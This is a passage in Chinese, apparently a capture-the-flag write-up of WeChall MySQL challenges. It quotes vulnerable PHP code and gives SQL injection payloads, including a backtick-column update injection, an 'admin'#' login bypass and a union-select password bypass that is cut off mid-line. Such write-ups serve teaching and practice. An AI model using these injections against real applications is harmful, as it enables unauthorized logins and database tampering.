WeChall mysql WriteUp
题目链接:http://www.wechall.net/challs/MySQL/by/chall_score/ASC/page-1
1.No Escape
首先阅读源码,比较简单,就是只要有一个人的票数到达111了,那么就成功了,但是每当一个人的票数超过100时就会被重置。然后此处注入参数为vote_for,另外还有就是两个过滤,核心代码就在下面:
if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) {
echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false);
return;
}
$db = noesc_db();
$who = mysql_real_escape_string($who);
$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
if (false !== $db->queryWrite($query)) {
echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false);
}
noesc_stop100();
观察发现过滤似乎并没有什么卵用,因为在更新语句中根本没用单引号,只用了`符号,那么直接构造如下的payload就好了:
?vote_for=bill`=111--+
2. Training: MySQL I
这道题没啥可说的,最简单的SQLI,跳过
admin'#
3.Training: MySQL II
这道题把密码和用户名分开来验证了,用户名查询处毫无过滤,核心检验代码如下:
$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username'";
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
return false;
}
#############################
### This is the new check ###
if ($result['password'] !== $password) {
echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
return false;
} # End of the new code ###
#############################
很容易知道,用union构造查询就可以绕过了,如下:
username=123' union select 1,'admin',md5(